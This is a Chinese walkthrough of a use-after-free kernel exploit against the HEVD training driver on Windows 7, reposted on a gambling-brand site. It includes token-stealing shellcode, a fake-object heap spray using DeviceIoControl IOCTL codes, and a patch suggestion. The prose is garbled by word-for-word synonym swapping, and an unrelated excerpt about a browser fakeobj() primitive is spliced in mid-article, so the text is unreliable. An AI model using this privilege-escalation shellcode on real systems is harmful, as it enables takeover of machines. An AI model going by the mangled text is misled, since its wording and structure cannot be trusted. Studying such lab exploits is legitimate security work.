Windows Kernel Exploit (一) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Windows Kernel Exploit (一)

申博_安全防护 申博 81次浏览 未收录 0个评论

0x00:媒介

近来重新开始了我的Windows内核之旅,这是我总结的Windows kernel exploit系列的第一部份,从简朴的UAF入手,第一篇我只管写的细致一些,试验环境是Windows 7 x86 sp1,研讨内核破绽是一件令人兴奋的事变,希望能经由过程文章碰到更多同舟共济的朋侪,看此文章之前你须要有以下预备:

  • Windows 7 x86虚拟机
  • 设置好windbg等调试东西,发起合营VirtualKD运用
  • HEVD+OSR Loader合营组织破绽环境

0x01:破绽原理

提权原理

起首我们要邃晓一个原理,运转一个平常的顺序在平常状况下是没有体系权限的,然则每每在一些破绽应用中,我们会想要让一个平常的顺序到达很高的权限就比方体系权限,下面做一个试验,我们在虚拟机顶用平常权限翻开一个cmd然后断下来,用!dml_proc敕令检察当前历程的信息

kd> !dml_proc
Address  PID  Image file name
865ce8a8 4    System         
87aa9970 10c  smss.exe       
880d4d40 164  csrss.exe      
881e6200 198  wininit.exe    
881e69e0 1a0  csrss.exe      
...
87040ca0 bc0  cmd.exe

我们可以看到System的地点是 865ce8a8 ,cmd的地点是 87040ca0 ,我们可以经由过程下面的体式格局检察地点中的成员信息,这里之所以 +f8 是因为token的位置是在历程偏移为 0xf8 的处所,也就是Value的值,那末什么是token?你可以把它比做品级,差别的权限品级差别,比方体系权限品级是5级(最高),那末平常权限就好比是1级,我们可以经由过程修正我们的品级到达体系的5级权限,这也就是提权的基本原理,如果我们可以修正历程的token为体系的token,那末就可以提权胜利,我们手动操纵一次下面是修正前token值的对照

kd> dt nt!_EX_FAST_REF 865ce8a8+f8
   +0x000 Object           : 0x8a201275 Void
   +0x000 RefCnt           : 0y101
   +0x000 Value            : 0x8a201275 // system token
kd> dt nt!_EX_FAST_REF 87040ca0+f8
   +0x000 Object           : 0x944a2c02 Void
   +0x000 RefCnt           : 0y010
   +0x000 Value            : 0x944a2c02 // cmd token

我们经由过程ed敕令修正cmd token的值为system token

kd> ed 87040ca0+f8 8a201275
kd> dt nt!_EX_FAST_REF 87040ca0+f8
   +0x000 Object           : 0x8a201275 Void
   +0x000 RefCnt           : 0y101
   +0x000 Value            : 0x8a201275

whoami敕令发明权限已变成了体系权限

Windows Kernel Exploit (一)

我们将上面的操纵变成汇编的情势以下

void ShellCode()
{
    _asm
    {
        nop
        nop
        nop
        nop
        pushad
        mov eax,fs:[124h]       // 找到当前线程的_KTHREAD构造
        mov eax, [eax + 0x50]    // 找到_EPROCESS构造
        mov ecx, eax
        mov edx, 4    // edx = system PID(4)

        // 轮回是为了猎取system的_EPROCESS
    find_sys_pid:
        mov eax, [eax + 0xb8]   // 找到历程运动链表
        sub eax, 0xb8           // 链表遍历
        cmp [eax + 0xb4], edx    // 依据PID推断是不是为SYSTEM
        jnz find_sys_pid

        // 替代Token
        mov edx, [eax + 0xf8]
        mov [ecx + 0xf8], edx
        popad
        ret
    }
}

解释一下上面的代码,fs寄存器在Ring0中指向一个称为KPCR的数据构造,即FS段的出发点与 KPCR 构造对齐,而在Ring0中fs寄存器平常为0x30,如许fs:[124]就指向KPRCB数据构造的第四个字节。因为 KPRCB 构造比较大,在此就不列出来了。检察其数据构造可以看到第四个字节指向CurrentThead(KTHREAD范例)。如许fs:[124]实际上是指向当前线程的_KTHREAD

kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

再来看看_EPROCESS的构造,+0xb8处是历程运动链表,用于贮存当前历程的信息,我们经由过程对它的遍历,可以找到system的token,我们晓得system的PID一直是4,经由过程这一点我们就可以遍历了,遍历到体系token以后替代就好了

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
   +0x0dc PeakVirtualSize  : Uint4B
   +0x0e0 VirtualSize      : Uint4B
   +0x0e4 SessionProcessLinks : _LIST_ENTRY
   +0x0ec DebugPort        : Ptr32 Void
   ...
   +0x2b8 SmallestTimerResolution : Uint4B
   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

UAF原理

如果你是一个pwn选手,那末一定很清晰UAF的原理,简朴的说,Use After Free 就是其字面所表达的意义,当一个内存块被开释以后再次被运用。然则实在这里有以下几种状况:

  • 内存块被开释后,其对应的指针被设置为 NULL , 然后再次运用,天然顺序会崩溃。
  • 内存块被开释后,其对应的指针没有被设置为 NULL ,然后在它下一次被运用之前,没有代码对这块内存块举行修正,那末顺序很有可以可以平常运转。
  • 内存块被开释后,其对应的指针没有被设置为 NULL,然则在它下一次运用之前,有代码对这块内存举行了修正,那末当顺序再次运用这块内存时,就很有可以会涌现新鲜的题目。

而我们平常所指的 Use After Free 破绽主如果后两种。另外,我们平常称被开释后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制,Windows下的内存请求也是有规律的,我们晓得ExAllocatePoolWithTag函数中请求的内存并非胡乱请求的,操纵体系会挑选当前大小最合适的余暇堆来寄存它。如果你充足仔细的话,在源码中你会发明在UseUaFObject中存在g_UseAfterFreeObject->Callback();的片断,如果我们将Callback掩盖为shellcode就可以提权了

typedef struct _USE_AFTER_FREE {
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;

NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
            }

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

0x02:破绽应用

应用思绪

如果我们一开始请求堆的大小和UAF中堆的大小雷同,那末就可以请求到我们的这块内存,如果我们又提早组织好了这块内存中的数据,那末当末了开释的时刻就会指向我们shellcode的位置,从而到达提取的结果。然则这里有个题目,我们电脑中有许许多多的余暇内存,如果我们只组织一块假堆,我们并不能保证恰好可以用到我们的这块内存,所以我们就须要组织很多个这类堆,换句话说就是堆海战术吧,如果你看过0day平安这本书,内里说的堆放射也就是这个原理。

The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption – browser 0x05

在本文中,我们将为读者介绍fakeobj()原语。该原语基于addrof()中使用的一个漏洞,攻击者可以通过它来破坏内部JavaScriptCore对象的内存空间。 简介 在前一篇文章中,我们介绍了如何泄露javascript对象的地址;在本文中,我们将考察是否能破坏相关的内存空间。在继续阅读介绍之前,您必须了解一下JavaScript对象在内存中的布局情况(如内部属性和butterfly结构等),因为在这篇文章中,我们将使用这些知识将内存泄漏问题转化为内存破坏问题。 读者可能好奇我们是如何实现这个转化过程的,老实说,这可比简单的缓冲区溢出的利用要复杂得多,因为这里无法直接控制指令指针。虽然我们这里的漏洞的可利用性较差,但是,经过一番适当地折腾,就能发挥出其强大的威力了。 “fakeobj”原语 在saelo的相关文章中,他总共谈到了两

应用代码

依据上面我们已获得提权的代码,相当于我们只要枪弹没有枪,如许一定是不可的,我们起首捏造环境

typedef struct _FAKE_USE_AFTER_FREE
{
    FunctionPointer countinter;
    char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

接下来我们举行堆放射

for (int i = 0; i < 5000; i++)
{
    // 挪用 AllocateFakeObject() 对象
    DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}

你可以会迷惑上面的IO掌握码是怎样获得的,这是经由过程逆向剖析IrpDeviceIoCtlHandler函数获得的,我们经由过程DeviceIoControl函数完成对驱动中函数的挪用,下面原理雷同

// 挪用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 挪用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);

末了我们须要一个函数来挪用 cmd 窗口磨练我们是不是提权胜利

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

上面是重要的代码,细致的代码参考这里

0x03:补丁思索

关于 UseAfterFree 破绽的修复,如果你看过我写的一篇pwn-UAF入门的话,补丁的修复就很显著了,我们破绽应用是在 free 掉了对象以后再次对它的援用,如果我们增添一个前提,推断对象是不是为空,如果为空则不挪用,那末就可以防止 UseAfterFree 的发作,下面是详细的修复计划:

if(g_UseAfterFreeObject != NULL)
{
    if (g_UseAfterFreeObject->Callback) {
        g_UseAfterFreeObject->Callback();
    }
}

0x04:跋文

提权后的结果以下
Windows Kernel Exploit (一)

这一篇以后我会继承写windows-kernel-exploit系列2,重要照样研讨HEVD中的其他破绽,相似的UAF破绽可以参考我研讨的2014-4113和我行将研讨的2018-8120,末了,吹爆wjllz师傅!

参考链接:

https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Windows Kernel Exploit (一)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址